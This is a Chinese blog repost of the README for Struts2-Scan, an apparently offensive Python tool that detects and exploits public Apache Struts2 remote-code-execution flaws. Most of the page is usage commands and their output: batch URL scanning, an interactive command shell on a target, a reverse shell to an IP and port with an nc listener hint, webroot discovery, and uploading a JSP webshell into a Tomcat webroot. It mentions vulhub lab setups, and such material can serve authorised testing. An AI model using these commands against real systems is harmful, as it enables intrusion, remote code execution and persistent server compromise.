百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程网 > 正文

Struts2全漏洞扫描利用工具 iis漏洞扫描器

yuyutoo 2024-12-19 17:36 1 浏览 0 评论

文章来源: 系统安全运维

Struts2-Scan

  • Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057
  • 支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持


行环境

  • Python3.6.X及其以上版本
  • 第三方库: click, requests, bs4
  • 测试环境: Ubuntu 16.04
  • 漏洞环境已上传,参考地址:
    • https://github.com/Medicean/VulApps/tree/master/s/struts2/
    • https://github.com/vulhub/vulhub/tree/master/struts2


工具参数说明

Usage: Struts2Scan.py [OPTIONS]

  Struts2批量扫描利用工具

Options:
  -i, --info          漏洞信息介绍
  -v, --version       显示工具版本
  -u, --url TEXT      URL地址
  -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
  -f, --file TEXT     批量扫描URL文件, 一行一个URL
  -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
  -c, --encode TEXT   页面编码, 默认UTF-8编码
  -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
  -t, --timeout TEXT  HTTP超时时间, 默认10s
  -w, --workers TEXT  批量扫描进程数, 默认为10个进程
  --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
  -e, --exec          进入命令执行shell
  --webpath           获取WEB路径
  -r, --reverse TEXT  反弹shell地址, 格式为ip:port
  --upfile TEXT       需要上传的文件路径和名称
  --uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
  -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
  -h, --help          Show this message and exit.








使用例子

查看漏洞详细信息:

$ python3 Struts2Scan.py --info

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[+] 支持如下Struts2漏洞:
[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行
[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行
[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell
[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell
[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell
[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell

单个URL漏洞检测:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[+] 正在扫描URL:http://192.168.100.8:8080/index.action
[*] ----------------results------------------
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009
[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012

批量漏洞检测:

$ python3 Struts2Scan.py -f urls.txt

POST数据:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

指定漏洞名称利用:

# 命令执行
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

>>>ls -la
total 136
drwxr-sr-x 1 root staff  4096 May  5  2017 .
drwxrwsr-x 1 root staff  4096 May  5  2017 ..
-rw-r----- 1 root root  57092 Apr 13  2017 LICENSE
-rw-r----- 1 root root   1723 Apr 13  2017 NOTICE
-rw-r----- 1 root root   7064 Apr 13  2017 RELEASE-NOTES
-rw-r----- 1 root root  15946 Apr 13  2017 RUNNING.txt
drwxr-x--- 1 root root   4096 May  5  2017 bin
drwx--S--- 1 root root   4096 Jul 12 14:54 conf
drwxr-sr-x 3 root staff  4096 May  5  2017 include
drwxr-x--- 2 root root   4096 May  5  2017 lib
drwxr-x--- 1 root root   4096 Jul 12 14:54 logs
drwxr-sr-x 3 root staff  4096 May  5  2017 native-jni-lib
drwxr-x--- 2 root root   4096 May  5  2017 temp
drwxr-x--- 1 root root   4096 Jul 12 14:54 webapps
drwxr-x--- 1 root root   4096 Jul 12 14:54 work
>>>

# 反弹shll
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[*] 请在反弹地址处监听端口如: nc -lvvp 8080

# 获取WEB路径
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[*] /usr/local/tomcat/webapps/ROOT/

# 上传shell
$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[+] 文件上传成功

相关推荐

牛逼哄哄的数据库连接池,底层原理是个啥?

作者:敦格来源:https://blog.csdn.net/shuaihj/article/details/14223015这次我们采取技术演进的方式来谈谈数据库连接池的技术出现过程及其原理,以及当下...

如何实现一个连接池?一文带你深入浅出,彻底搞懂

-前言-【2w1h】是技术领域中一种非常有效的思考和学习方式,即What、Why和How;坚持【2w1h】,可以快速提升我们的深度思考能力。今天我们通过【2w1h】方式来讨论“连接池”:什么是连接...

什么是连接池?如何实现一个Java连接池?

什么是连接池?结构连接池对外提供接口:获得连接归还连接并暴露客户端可配置的参数:...

什么是数据库连接池? 什么是数据库连接池?如何使用

在JDBC编程中,每次创建和断开Connection对象都会消耗一定的时间和IO资源。这是因为在Java程序与数据库之间建立连接时,数据库端要验证用户名和密码,并且要为这个连接分配资源,Java程序则...

男生怎么插入对方话题,分享这2点,可以快速搭讪

在日常生活中,男生怎么插入对方的话题呢?来分享一下几个小妙招,让男生快速搭讪。1、同女性聊天.普通的女性可以先有礼貌的打招呼,询问对方聊天内容,对方的话题适不适合自己发表观点,如果不适合可以等着对方说...

PDF文件如何插入、删除、替换、旋转页面

Hello,各位小伙伴们大家好,我是爱学习的小助手。...

SQL——INSERT:插入数据 sqlinsert怎么插入

INSERT语句用于向数据库表中插入数据。1、插入一条数据insert into adm_user(login_name,password,name,mobile_no)&...

近乎变态的USB发展史,命名混乱到了极致,一篇文章让你读懂

USB3.0经历过多次改名,到最后没有任何规律!特别是USB3.0居然“升格”到USB3.2,搞得人头大!同1个蓝色USB口好像说3.0/3.1/3.2的都有,究竟谁对?今天为大家缕一缕。点赞收藏!【...

女大学生把30厘米“兔兔管”插入体内:上瘾性行为,害了多少人?

轻触关注,打开知识的大门,我在这里将与您共享更多精彩内容!女大学生小玲身高160厘米,体重却高达170斤。她曾尝试过节许多减肥方法,但无一例外均以失败告终。...

大年初二铁棍插入10岁女童脑内,上海值班医生手术取出

澎湃新闻记者陈斯斯来自浙江嘉兴的10岁女童逛商场遭遇意外,一根铁棍插入其脑内,随后被120急救车急送上海交大医学院附属新华医院(简称上海新华医院)实施急诊手术。2月3日,澎湃新闻(www.thep...

插入语和状语的区别 where引导的定语从句和状语从句的区别

1.插入语是在一个句子中插入一个成分,它不是句子的成分,而是表示说话人的态度或进行解释补充说明等。...

用户数据之存量——DAU/MAU 用户数据到底是什么

编辑导语:数据分析是设计师了解用户行为的一个重要手段。本文作者分享了不同指标的核心含义,从用户数据的存量、Active活跃度、User用户展开分析,一起来学习一下吧,希望对你有帮助。随着设计师对产品设...

键盘上这些被厂商抠掉的功能键,到底有多没用?

最近呢,办公室流行起了客制化键盘这个东西,简单来讲就是可以根据自己的需求和喜好来定制独一无二的键盘。...

如何制作Windows系统安装U盘 最简单的方法 有手就行

前段时间一位朋友问我,能不能给他安装系统,他随后补了一句:给你钱。其实安装Windows系统是一件非常简单的事情,所以我想着,不如告诉大家最简单的操作方法,让大家能够省一笔安装系统的钱。该教程会分为两...

大模型给你的答案,也要插入广告了?

英伟达创始人CEO黄仁勋曾在被问到他是否使用ChatGPT或Bard时,他回答称,“我一般用Perplexity,而且几乎每天都在用。”Perplexity旨在用AI技术打造一个没有广告的“谷歌搜索...

取消回复欢迎 发表评论: